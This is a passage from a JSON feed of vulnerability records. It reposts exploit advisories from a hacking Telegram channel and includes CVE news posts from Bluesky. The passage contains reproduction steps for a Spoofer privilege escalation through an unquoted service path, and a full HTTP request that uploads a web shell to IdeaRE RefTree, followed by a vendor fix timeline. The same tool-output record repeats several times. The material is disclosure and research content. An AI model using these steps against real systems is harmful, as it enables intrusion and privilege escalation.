\n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-46439", "author": {"login": "automation"}}, {"uuid": "1da8966e-1b71-4584-b7bd-62b6e93ca8e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:00:04.569261+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/48310", "content": "Exploit Collector\nSpoofer 1.4.6 Privilege Escalation / Unquoted Service Path\n\nhttps://3.bp.blogspot.com/-sRAbWielMtM/WWlvVvmDA-I/AAAAAAAAIN8/PunzJUFKKskcHl_zTOrA6xP6ETTvhbejQCLcBGAs/s1600/h46.png \nSpoofer version 1.4.6 suffers from an unquoted service path vulnerability that can lead to privilege escalation.\n\nMD5 | 519cd741e8a7025d315797603a548032\n\nDownload\n# Exploit Title: Spoofer 1.4.6 \u2013 Local Privilege Escalation via Unquoted Service Path \n# Date: 24/01/2022 \n# Exploit Author: Asim Sattar (@M_Asim_1) \n# Vendor Homepage: https://www.caida.org/projects/spoofer/ \n# Software Link: https://www.caida.org/projects/spoofer/downloads/Spoofer-1.4.6-win32.exe\n# Version: 1.4.6 \n# Tested: Windows 10 (x64) \n# CVE: CVE-2021-46443\nDescription:\n\n-------------\nCaida Spoofer 1.4.6 installs a service (spoofer-scheduler) with an unquoted\nservice path. Since this service is running as SYSTEM, this creates a local\nprivilege escalation vulnerability. To properly exploit this vulnerability,\na local attacker can insert an executable in the path of the service.\nRebooting the system or restarting the service will run the malicious\nexecutable with elevated privileges.\n------------------\n\nProof of Concept:\n\n------------------\nC:\\Users\\asim.sattar>wmic service get name,pathname,displayname,startmode |\nfindstr /i auto | findstr /i /v \"C:\\Windows\\\\\" | findstr /i /v \"\"\"\n\nSpoofer Scheduler   spoofer-scheduler   C:\\Program Files\n(x86)\\Spoofer\\spoofer-scheduler.exe  Auto\nC:\\Users\\asim.sattar>sc qc \"spoofer-scheduler\"\n\n[SC] QueryServiceConfig SUCCESS\nSERVICE_NAME: spoofer-scheduler\n\nTYPE               : 10  WIN32_OWN_PROCESS\n\nSTART_TYPE         : 2   AUTO_START\n\nERROR_CONTROL      : 1   NORMAL\n\nBINARY_PATH_NAME   : C:\\Program Files\n(x86)\\Spoofer\\spoofer-scheduler.exe\n\nLOAD_ORDER_GROUP   :\n\nTAG                : 0\n\nDISPLAY_NAME       : Spoofer Scheduler\n\nDEPENDENCIES       : tcpip\n\nSERVICE_START_NAME : LocalSystem\nRegards,\n\nAsim Sattar\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-46443", "author": {"login": "automation"}}, {"uuid": "cd473663-b110-4fe1-a8a0-b0b37dfba5bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:00:04.525586+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/48314", "content": "Exploit Collector\nIdeaRE RefTree Shell Upload\n\nhttps://4.bp.blogspot.com/-lQ2zJgiLTsU/WWlu34sMcWI/AAAAAAAAII4/mS7xceEZnmUYAvFeoaUiLc9JINHoDjNsACLcBGAs/s1600/h102.png \nIdeaRE RefTree versions prior to 2021.09.17 suffer from a remote shell upload vulnerability.\n\nMD5 | b5254f5700fec9d47bc63de6bc572026\n\nDownload\n===============================================================================\ntitle: IdeaRE RefTree Remote Code Execution\nproduct: IdeaRE RefTree < 2021.09.17\nvulnerability type: Unrestricted File Upload\nCVE ID: CVE-2022-27249\nseverity: High\nCVSSv3 score: 8.8\nCVSSv3 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nfound: 2021-09-13\nby: Savino Sisco saviosisco@gmail.com\n===============================================================================\n\n[EXECUTIVE SUMMARY]\nRefTree is a web application made for managing complex real estate situations.\nAmong other features, it offers the possibility for authenticated users\nto upload and download DWG (CAD drawings) files for buildings.\n\nDuring a penetration test activity, an \"Unrestricted File Upload\" vulnerability\nwas found which leverages the upload feature to upload a file anywhere on the \ntarget system.\n\nBy uploading a malicious web page, like an aspx web shell, to the server's\nweb root it is possible to achive code execution by just navigating to the\nmalicious page with a web browser.\n\n[VULNERABLE VERSIONS]\nIdeaRE RefTree < 2021.09.17\n\n[TECHNICAL DETAILS]\nIt is possible to reproduce the issue following these steps:\n1. Log into the application to get a valid session cookie\n2. Get a valid \"ObjId\" from the application (the ID of a building to associate\nthe file to)\n3. Use the API endpoint '/CaddemServiceJS/CaddemService.svc/rest/UploadDwg'\nto upload a file on the target system, for example a web shell in the\nserver's web root\n4. Navigate to the new page with a web browser to trigger code execution\nExample of the HTTP request to the Upload endpoint:\n\nPOST /CaddemServiceJS/CaddemService.svc/rest/UploadDwg HTTP/2\nHost: [REDACTED]\nCookie: ASP.NET_SessionId=b1125gke23enpul1ukeu1ouy\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nContent-Length: 2211\nOrigin: https://[REDACTED]\nReferer: https://[REDACTED]/Reftreespace/\n\n{\n\"FileContent\": \"[BASE64_PAYLOAD]\",\n\"DwgName\": \"C:\\\\inetpub\\\\wwwroot\\\\webshell.aspx\",\n\"UploadType\": \"WorkingCopy\",\n\"ObjId\": 4774726,\n\"ObjType\": 5,\n\"UpdateState\": true,\n\"DwgOp\": 23\n}\nHTTP/2 200 OK\nCache-Control: private\nContent-Type: application/json; charset=utf-8\nServer: Microsoft-IIS/10.0\nAccess-Control-Allow-Credentials: true\nAccess-Control-Allow-Origin: [REDACTED]\nX-Powered-By: ASP.NET\nDate: Fri, 10 Sep 2021 15:00:53 GMT\nContent-Length: 24\n\n{\"UploadDwgResult\":null}\n[VULNERABILITY REFERENCE]\nThe following CVE ID was allocated to track the vulnerabilities:\nCVE-2022-27249\n[DISCLOSURE TIMELINE]\n2021-09-13  Vulnerability disclosed to our customer and the vendor.\nVendor acknowledged the issue.\n2021-09-17  Vendor released a fix for the software.\n2021-10-15  The vulnerability was rechecked in the newer version to confirm \nthat is was indeed fixed.\n2022-03-15  Researcher requested to publicly disclose the issue; public\ncoordinated disclosure.\n\n[RESOLUTION]\nUpdate the software to a version >= 2021.09.17\n\nSavino Sisco \nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-27249", "author": {"login": "automation"}}, {"uuid": "8ac34268-6223-4a54-b01c-860ec703fa17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:00:04.481470+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/48261", "content": "Credits  https://github.com/hktalent/spring-spel-0day-poc  \n\nDownload CVE-2022-22963 (https://github.com/darryk10/CVE-2022-22963)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-22963", "author": {"login": "automation"}}, {"uuid": "307d888c-a9de-4af5-a3c4-3850d6cbdff9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:43:33.629561+00:00", "type": "seen", "source": "https://bsky.app/profile/newsyc750.bsky.social/post/3musxvt5o7h2k", "content": "Actively exploited sandbox RCE in all Chromium versions https://nvd.nist.gov/vuln/detail/cve-2026-85046 (http://news.ycombinator.com/item?id=49570669)", "vulnerability": "cve-2026-85046", "author": {"login": "automation"}}, {"uuid": "c5fcec69-4ed0-4cb2-bd97-c3c7f3ed7c33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:30:19.058117+00:00", "type": "seen", "source": "https://bsky.app/profile/0daynews.bsky.social/post/3musx66t6ea2b", "content": "All-in-One WP Migration Flaw Hits 3M WordPress Sites \u2014 Unauthenticated SQL injection in All-in-One WP Migration and\u2026 https://0daynews.com/articles/2026-09-04-all-in-one-wp-migration-cve-2026-19949-sql-injection?utm_source=bluesky&utm_medium=organic_social&utm_campaign=always_on&utm_content=hub-963", "vulnerability": "cve-2026-19949", "author": {"login": "automation"}}, {"uuid": "5fd42071-98d0-4b82-a661-7472105bdeb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:30:14.041912+00:00", "type": "seen", "source": "https://bsky.app/profile/jarkafterdark.com/post/3musx5zlpog2t", "content": "update your chrome. right now. this is not a drill.\n\ngoogle just patched a flaw in chrome that attackers are already using in the wild. it is a type-confusion bug in v8, the engine chrome uses to run the javascript on every page you visit. tracked as CVE-2026-85046, rated 8.8 out of 10.", "vulnerability": "CVE-2026-85046", "author": {"login": "automation"}}, {"uuid": "71594aff-fdc8-4bd4-b5e2-a52c7e208d81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:07:21.525235+00:00", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3musvv4vxth2j", "content": "\ud83d\udea8 CVE-2026-86151 \u2014 CVSS 9.4 CRITICAL\n\nA vulnerability was detected in Tenda CP3 27.5.57.101. The affected element is the function sub_2F77E8 of t...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-86151\n\n#CVE #CyberSecurity #InfoSec", "vulnerability": "CVE-2026-86151", "author": {"login": "automation"}}, {"uuid": "75e22703-304f-402d-ab5d-3fd34f3f680c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:02:27.934501+00:00", "type": "seen", "source": "https://bsky.app/profile/termsofsurrender.bsky.social/post/3musvmezgo72v", "content": "Critical Router Flaw, Because Secure Networking Was Apparently Optional\nPANIC 82% | Lag 0.0h | CVE-2026-86148 is a critical vulnerability in Tenda CP3 running firmware 27.5.57.101, affecting a sy\n#AfterShockIndex\nREAD MORE", "vulnerability": "CVE-2026-86148", "author": {"login": "automation"}}, {"uuid": "f3d1070d-dc0a-461a-8e27-9469192d5a22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:00:05.789490+00:00", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3musvi52k6o2y", "content": "CVE-2026-86152 - cp3\nThe Tenda CP3 router (firmware version 27.5.57.101) has a flaw in its Wi\u2011Fi auto\u2011add function that allows an attacker to send specially crafted data and cause the device to execute operating\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cp3 #tenda #CVE #infosec", "vulnerability": "CVE-2026-86152", "author": {"login": "automation"}}, {"uuid": "3d81d50e-da32-4e72-9cfd-43ac8eb427c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:00:04.544840+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/49649", "content": "Kali Linux Tutorials\nMaster_Librarian : A Tool To Audit Unix/*BSD/Linux System Libraries To Find Public Security Vulnerabilities\n\nMaster_Librarian is a simple tool to audit Unix/*BSD/Linux system libraries to find public security vulnerabilities.\n\nTo install requirements:\n\n$ sudo python3 -m pip install -r requirements.txt\n\nOverview:\n\n$ python3 master_librarian.py -h\nMaster librarian v0.3\nTool to search public vulnerabilities on local libraries\nby CoolerVoid\nExample:\n$ python3 master_librarian.py -t csv\n$ python3 master_librarian.py -t txt -l 3\nusage: master_librarian.py [-h] -t TYPES [-l LIMIT]\noptional arguments:\n-h, \u2013help show this help message and exit\n-t TYPES, \u2013type TYPES\nName of output type for logs(txt or csv)\n-l LIMIT, \u2013limit LIMIT\nLimit CVEs per pages in nvd NIST search(default is 3)\n\nExample:\n\n$ python3 master_librarian.py -t txt\n\noutput\n\nMaster librarian v0.3\nTool to search public vulnerabilities on local libraries\nby CoolerVoid\nExample:\n$ python3 master_librarian.py -t csv\n$ python3 master_librarian.py -t txt -l 3\nMaster librarian v0.3\nTool to search public vulnerabilities on local libraries\nby CoolerVoid\nSearch pitfalls in operational system local packages\nxres 1.2.0\ncairo-ps 1.16.0\nxf86vidmodeproto 2.3.1\nlibcrypto 1.1.1f\ndamageproto 1.2.1\nlibffi 3.3\nxfixes 5.0.3\nInteger overflow in X.org libXfixes before 5.0.3 on 32-bit platforms might allow remote X servers to gain privileges via a length value of INT_MAX, which triggers the client to stop reading data and get out of sync.\nhttps://nvd.nist.gov/vuln/detail/CVE-2016-7944\n7.5 HIGH\nsystem.web.extensions.design_1.0 1.0.61025.0\nkbproto 1.0.7\ngio-unix-2.0 2.64.6\ngdk-x11-2.0 2.24.32\nsqlite3 3.31.1\ncairo-png 1.16.0\nlibpcre2-posix 10.34\nwcf 6.8.0.105\ndmxproto 2.3.1\ncairo-script 1.16.0\nxext 1.3.4\nx11 1.6.9\nsystem.web.mvc 1.0.0.0\nmono-cairo 6.8.0.105\ncecil 6.8.0.105\nudev 245\nThe default configuration of udev on Linux does not warn the user before enabling additional Human Interface Device (HID) functionality over USB, which allows user-assisted attackers to execute arbitrary programs via crafted USB data, as demonstrated by keyboard and mouse data sent by malware on a smartphone that the user connected to the computer.\nhttps://nvd.nist.gov/vuln/detail/CVE-2011-0640\n6.9 MEDIUM\nplymouth-pretrigger.sh in dracut and udev, when running on Fedora 13 and 14, sets weak permissions for the /dev/systty device file, which allows remote authenticated users to read terminal data from tty0 for local users.\nhttps://nvd.nist.gov/vuln/detail/CVE-2010-4176\n4.0 MEDIUM\nxkeyboard-config 2.29\nbash-completion 2.10\nyelp-xsl 3.36.0\nxdamage 1.1.5\nlibgdiplus 6.0.4\nicu-uc 66.1\nxcomposite 0.4.5\nharfbuzz 2.6.4\npixman-1 0.38.4\npthread-stubs 0.4\nsystemd 245\nAn exploitable denial-of-service vulnerability exists in Systemd 245. A specially crafted DHCP FORCERENEW packet can cause a server running the DHCP client to be vulnerable to a DHCP ACK spoofing attack. An attacker can forge a pair of FORCERENEW and DCHP ACK packets to reconfigure the server.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-13529\n2.9 LOW\nsystemd through v245 mishandles numerical usernames such as ones composed of decimal digits or 0x followed by hex digits, as demonstrated by use of root privileges when privileges of the 0x0 user account were intended. NOTE: this issue exists because of an incomplete fix for CVE-2017-1000082.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-13776\n6.2 MEDIUM\nA heap use-after-free vulnerability was found in systemd before version v245-rc1, where asynchronous Polkit queries are performed while handling dbus messages. A local unprivileged attacker can abuse this flaw to crash systemd services or potentially execute code and elevate their privileges, by sending specially crafted dbus messages.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-1712\n4.6 MEDIUM\nexpat 2.2.9\npangocairo 1.44.7\nxdmcp 1.1.3\nlibpcreposix [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-13529", "author": {"login": "automation"}}, {"uuid": "19b1e66b-6684-4444-b3d0-def31c5d9bc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:00:04.507402+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/49649", "content": "Kali Linux Tutorials\nMaster_Librarian : A Tool To Audit Unix/*BSD/Linux System Libraries To Find Public Security Vulnerabilities\n\nMaster_Librarian is a simple tool to audit Unix/*BSD/Linux system libraries to find public security vulnerabilities.\n\nTo install requirements:\n\n$ sudo python3 -m pip install -r requirements.txt\n\nOverview:\n\n$ python3 master_librarian.py -h\nMaster librarian v0.3\nTool to search public vulnerabilities on local libraries\nby CoolerVoid\nExample:\n$ python3 master_librarian.py -t csv\n$ python3 master_librarian.py -t txt -l 3\nusage: master_librarian.py [-h] -t TYPES [-l LIMIT]\noptional arguments:\n-h, \u2013help show this help message and exit\n-t TYPES, \u2013type TYPES\nName of output type for logs(txt or csv)\n-l LIMIT, \u2013limit LIMIT\nLimit CVEs per pages in nvd NIST search(default is 3)\n\nExample:\n\n$ python3 master_librarian.py -t txt\n\noutput\n\nMaster librarian v0.3\nTool to search public vulnerabilities on local libraries\nby CoolerVoid\nExample:\n$ python3 master_librarian.py -t csv\n$ python3 master_librarian.py -t txt -l 3\nMaster librarian v0.3\nTool to search public vulnerabilities on local libraries\nby CoolerVoid\nSearch pitfalls in operational system local packages\nxres 1.2.0\ncairo-ps 1.16.0\nxf86vidmodeproto 2.3.1\nlibcrypto 1.1.1f\ndamageproto 1.2.1\nlibffi 3.3\nxfixes 5.0.3\nInteger overflow in X.org libXfixes before 5.0.3 on 32-bit platforms might allow remote X servers to gain privileges via a length value of INT_MAX, which triggers the client to stop reading data and get out of sync.\nhttps://nvd.nist.gov/vuln/detail/CVE-2016-7944\n7.5 HIGH\nsystem.web.extensions.design_1.0 1.0.61025.0\nkbproto 1.0.7\ngio-unix-2.0 2.64.6\ngdk-x11-2.0 2.24.32\nsqlite3 3.31.1\ncairo-png 1.16.0\nlibpcre2-posix 10.34\nwcf 6.8.0.105\ndmxproto 2.3.1\ncairo-script 1.16.0\nxext 1.3.4\nx11 1.6.9\nsystem.web.mvc 1.0.0.0\nmono-cairo 6.8.0.105\ncecil 6.8.0.105\nudev 245\nThe default configuration of udev on Linux does not warn the user before enabling additional Human Interface Device (HID) functionality over USB, which allows user-assisted attackers to execute arbitrary programs via crafted USB data, as demonstrated by keyboard and mouse data sent by malware on a smartphone that the user connected to the computer.\nhttps://nvd.nist.gov/vuln/detail/CVE-2011-0640\n6.9 MEDIUM\nplymouth-pretrigger.sh in dracut and udev, when running on Fedora 13 and 14, sets weak permissions for the /dev/systty device file, which allows remote authenticated users to read terminal data from tty0 for local users.\nhttps://nvd.nist.gov/vuln/detail/CVE-2010-4176\n4.0 MEDIUM\nxkeyboard-config 2.29\nbash-completion 2.10\nyelp-xsl 3.36.0\nxdamage 1.1.5\nlibgdiplus 6.0.4\nicu-uc 66.1\nxcomposite 0.4.5\nharfbuzz 2.6.4\npixman-1 0.38.4\npthread-stubs 0.4\nsystemd 245\nAn exploitable denial-of-service vulnerability exists in Systemd 245. A specially crafted DHCP FORCERENEW packet can cause a server running the DHCP client to be vulnerable to a DHCP ACK spoofing attack. An attacker can forge a pair of FORCERENEW and DCHP ACK packets to reconfigure the server.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-13529\n2.9 LOW\nsystemd through v245 mishandles numerical usernames such as ones composed of decimal digits or 0x followed by hex digits, as demonstrated by use of root privileges when privileges of the 0x0 user account were intended. NOTE: this issue exists because of an incomplete fix for CVE-2017-1000082.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-13776\n6.2 MEDIUM\nA heap use-after-free vulnerability was found in systemd before version v245-rc1, where asynchronous Polkit queries are performed while handling dbus messages. A local unprivileged attacker can abuse this flaw to crash systemd services or potentially execute code and elevate their privileges, by sending specially crafted dbus messages.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-1712\n4.6 MEDIUM\nexpat 2.2.9\npangocairo 1.44.7\nxdmcp 1.1.3\nlibpcreposix [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2011-0640", "author": {"login": "automation"}}, {"uuid": "bd07bef7-caab-4e7a-8f36-3c8550cc4a05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:00:04.466396+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/49649", "content": "Kali Linux Tutorials\nMaster_Librarian : A Tool To Audit Unix/*BSD/Linux System Libraries To Find Public Security Vulnerabilities\n\nMaster_Librarian is a simple tool to audit Unix/*BSD/Linux system libraries to find public security vulnerabilities.\n\nTo install requirements:\n\n$ sudo python3 -m pip install -r requirements.txt\n\nOverview:\n\n$ python3 master_librarian.py -h\nMaster librarian v0.3\nTool to search public vulnerabilities on local libraries\nby CoolerVoid\nExample:\n$ python3 master_librarian.py -t csv\n$ python3 master_librarian.py -t txt -l 3\nusage: master_librarian.py [-h] -t TYPES [-l LIMIT]\noptional arguments:\n-h, \u2013help show this help message and exit\n-t TYPES, \u2013type TYPES\nName of output type for logs(txt or csv)\n-l LIMIT, \u2013limit LIMIT\nLimit CVEs per pages in nvd NIST search(default is 3)\n\nExample:\n\n$ python3 master_librarian.py -t txt\n\noutput\n\nMaster librarian v0.3\nTool to search public vulnerabilities on local libraries\nby CoolerVoid\nExample:\n$ python3 master_librarian.py -t csv\n$ python3 master_librarian.py -t txt -l 3\nMaster librarian v0.3\nTool to search public vulnerabilities on local libraries\nby CoolerVoid\nSearch pitfalls in operational system local packages\nxres 1.2.0\ncairo-ps 1.16.0\nxf86vidmodeproto 2.3.1\nlibcrypto 1.1.1f\ndamageproto 1.2.1\nlibffi 3.3\nxfixes 5.0.3\nInteger overflow in X.org libXfixes before 5.0.3 on 32-bit platforms might allow remote X servers to gain privileges via a length value of INT_MAX, which triggers the client to stop reading data and get out of sync.\nhttps://nvd.nist.gov/vuln/detail/CVE-2016-7944\n7.5 HIGH\nsystem.web.extensions.design_1.0 1.0.61025.0\nkbproto 1.0.7\ngio-unix-2.0 2.64.6\ngdk-x11-2.0 2.24.32\nsqlite3 3.31.1\ncairo-png 1.16.0\nlibpcre2-posix 10.34\nwcf 6.8.0.105\ndmxproto 2.3.1\ncairo-script 1.16.0\nxext 1.3.4\nx11 1.6.9\nsystem.web.mvc 1.0.0.0\nmono-cairo 6.8.0.105\ncecil 6.8.0.105\nudev 245\nThe default configuration of udev on Linux does not warn the user before enabling additional Human Interface Device (HID) functionality over USB, which allows user-assisted attackers to execute arbitrary programs via crafted USB data, as demonstrated by keyboard and mouse data sent by malware on a smartphone that the user connected to the computer.\nhttps://nvd.nist.gov/vuln/detail/CVE-2011-0640\n6.9 MEDIUM\nplymouth-pretrigger.sh in dracut and udev, when running on Fedora 13 and 14, sets weak permissions for the /dev/systty device file, which allows remote authenticated users to read terminal data from tty0 for local users.\nhttps://nvd.nist.gov/vuln/detail/CVE-2010-4176\n4.0 MEDIUM\nxkeyboard-config 2.29\nbash-completion 2.10\nyelp-xsl 3.36.0\nxdamage 1.1.5\nlibgdiplus 6.0.4\nicu-uc 66.1\nxcomposite 0.4.5\nharfbuzz 2.6.4\npixman-1 0.38.4\npthread-stubs 0.4\nsystemd 245\nAn exploitable denial-of-service vulnerability exists in Systemd 245. A specially crafted DHCP FORCERENEW packet can cause a server running the DHCP client to be vulnerable to a DHCP ACK spoofing attack. An attacker can forge a pair of FORCERENEW and DCHP ACK packets to reconfigure the server.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-13529\n2.9 LOW\nsystemd through v245 mishandles numerical usernames such as ones composed of decimal digits or 0x followed by hex digits, as demonstrated by use of root privileges when privileges of the 0x0 user account were intended. NOTE: this issue exists because of an incomplete fix for CVE-2017-1000082.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-13776\n6.2 MEDIUM\nA heap use-after-free vulnerability was found in systemd before version v245-rc1, where asynchronous Polkit queries are performed while handling dbus messages. A local unprivileged attacker can abuse this flaw to crash systemd services or potentially execute code and elevate their privileges, by sending specially crafted dbus messages.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-1712\n4.6 MEDIUM\nexpat 2.2.9\npangocairo 1.44.7\nxdmcp 1.1.3\nlibpcreposix [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2016-7944", "author": {"login": "automation"}}, {"uuid": "1734ddba-4f20-4123-91a8-fe0f8d936d3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:00:04.426147+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/49649", "content": "Kali Linux Tutorials\nMaster_Librarian : A Tool To Audit Unix/*BSD/Linux System Libraries To Find Public Security Vulnerabilities\n\nMaster_Librarian is a simple tool to audit Unix/*BSD/Linux system libraries to find public security vulnerabilities.\n\nTo install requirements:\n\n$ sudo python3 -m pip install -r requirements.txt\n\nOverview:\n\n$ python3 master_librarian.py -h\nMaster librarian v0.3\nTool to search public vulnerabilities on local libraries\nby CoolerVoid\nExample:\n$ python3 master_librarian.py -t csv\n$ python3 master_librarian.py -t txt -l 3\nusage: master_librarian.py [-h] -t TYPES [-l LIMIT]\noptional arguments:\n-h, \u2013help show this help message and exit\n-t TYPES, \u2013type TYPES\nName of output type for logs(txt or csv)\n-l LIMIT, \u2013limit LIMIT\nLimit CVEs per pages in nvd NIST search(default is 3)\n\nExample:\n\n$ python3 master_librarian.py -t txt\n\noutput\n\nMaster librarian v0.3\nTool to search public vulnerabilities on local libraries\nby CoolerVoid\nExample:\n$ python3 master_librarian.py -t csv\n$ python3 master_librarian.py -t txt -l 3\nMaster librarian v0.3\nTool to search public vulnerabilities on local libraries\nby CoolerVoid\nSearch pitfalls in operational system local packages\nxres 1.2.0\ncairo-ps 1.16.0\nxf86vidmodeproto 2.3.1\nlibcrypto 1.1.1f\ndamageproto 1.2.1\nlibffi 3.3\nxfixes 5.0.3\nInteger overflow in X.org libXfixes before 5.0.3 on 32-bit platforms might allow remote X servers to gain privileges via a length value of INT_MAX, which triggers the client to stop reading data and get out of sync.\nhttps://nvd.nist.gov/vuln/detail/CVE-2016-7944\n7.5 HIGH\nsystem.web.extensions.design_1.0 1.0.61025.0\nkbproto 1.0.7\ngio-unix-2.0 2.64.6\ngdk-x11-2.0 2.24.32\nsqlite3 3.31.1\ncairo-png 1.16.0\nlibpcre2-posix 10.34\nwcf 6.8.0.105\ndmxproto 2.3.1\ncairo-script 1.16.0\nxext 1.3.4\nx11 1.6.9\nsystem.web.mvc 1.0.0.0\nmono-cairo 6.8.0.105\ncecil 6.8.0.105\nudev 245\nThe default configuration of udev on Linux does not warn the user before enabling additional Human Interface Device (HID) functionality over USB, which allows user-assisted attackers to execute arbitrary programs via crafted USB data, as demonstrated by keyboard and mouse data sent by malware on a smartphone that the user connected to the computer.\nhttps://nvd.nist.gov/vuln/detail/CVE-2011-0640\n6.9 MEDIUM\nplymouth-pretrigger.sh in dracut and udev, when running on Fedora 13 and 14, sets weak permissions for the /dev/systty device file, which allows remote authenticated users to read terminal data from tty0 for local users.\nhttps://nvd.nist.gov/vuln/detail/CVE-2010-4176\n4.0 MEDIUM\nxkeyboard-config 2.29\nbash-completion 2.10\nyelp-xsl 3.36.0\nxdamage 1.1.5\nlibgdiplus 6.0.4\nicu-uc 66.1\nxcomposite 0.4.5\nharfbuzz 2.6.4\npixman-1 0.38.4\npthread-stubs 0.4\nsystemd 245\nAn exploitable denial-of-service vulnerability exists in Systemd 245. A specially crafted DHCP FORCERENEW packet can cause a server running the DHCP client to be vulnerable to a DHCP ACK spoofing attack. An attacker can forge a pair of FORCERENEW and DCHP ACK packets to reconfigure the server.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-13529\n2.9 LOW\nsystemd through v245 mishandles numerical usernames such as ones composed of decimal digits or 0x followed by hex digits, as demonstrated by use of root privileges when privileges of the 0x0 user account were intended. NOTE: this issue exists because of an incomplete fix for CVE-2017-1000082.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-13776\n6.2 MEDIUM\nA heap use-after-free vulnerability was found in systemd before version v245-rc1, where asynchronous Polkit queries are performed while handling dbus messages. A local unprivileged attacker can abuse this flaw to crash systemd services or potentially execute code and elevate their privileges, by sending specially crafted dbus messages.\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-1712\n4.6 MEDIUM\nexpat 2.2.9\npangocairo 1.44.7\nxdmcp 1.1.3\nlibpcreposix [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2010-4176", "author": {"login": "automation"}}, {"uuid": "2f18e70d-472f-4216-8a5f-fa76d8a9adcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T02:00:04.381866+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/49649", "content": "Kali Linux Tutorials\nMaster_Librarian : A Tool To Audit Unix/*BSD/Linux System Libraries To Find Public Security Vulnerabilities\n\nMaster_Librarian is a simple tool to audit Unix/*BSD/Linux system libraries to find public security vulnerabilities.\n\nTo install requirements:\n\n$ sudo python3 -m pip install -r requirements.txt\n\nOverview:\n\n$ python3 master_librarian.py -h\nMaster librarian v0.3\nTool to search public vulnerabilities on local libraries\nby CoolerVoid\nExample:\n$ python3 master_librarian.py -t csv\n$ python3 master_librarian.py -t txt -l 3\nusage: master_librarian.py [-h] -t TYPES [-l LIMIT]\noptional arguments:\n-h, \u2013help show this help message and exit\n-t TYPES, \u2013type TYPES\nName of output type for logs(txt or csv)\n-l LIMIT, \u2013limit LIMIT\nLimit CVEs per pages in nvd NIST search(default is 3)\n\nExample:\n\n$ python3 master_librarian.py -t txt\n\noutput\n\nMaster librarian v0.3\nTool to search public vulnerabilities on local libraries\nby CoolerVoid\nExample:\n$ python3 master_librarian.py -t csv\n$ python3 master_librarian.py -t txt -l 3\nMaster librarian v0.3\nTool to search public vulnerabilities on local libraries\nby CoolerVoid\nSearch pitfalls in operational system local packages\nxres 1.2.0\ncairo-ps 1.16.0\nxf86vidmodeproto 2.3.1\nlibcrypto 1.1.1f\ndamageproto 1.2.1\nlibffi 3.3\nxfixes 5.0.3\nInteger overflow in X.org libXfixes before 5.0.3 on 32-bit platforms might allow remote X servers to gain privileges via a length value of INT_MAX, which triggers the client to stop reading data and get out of sync.\nhttps://nvd.nist.gov/vuln/detail/CVE-2016-7944\n7.5 HIGH\nsystem.web.extensions.design_1.0 1.0.61025.0\nkbproto 1.0.7\ngio-unix-2.0 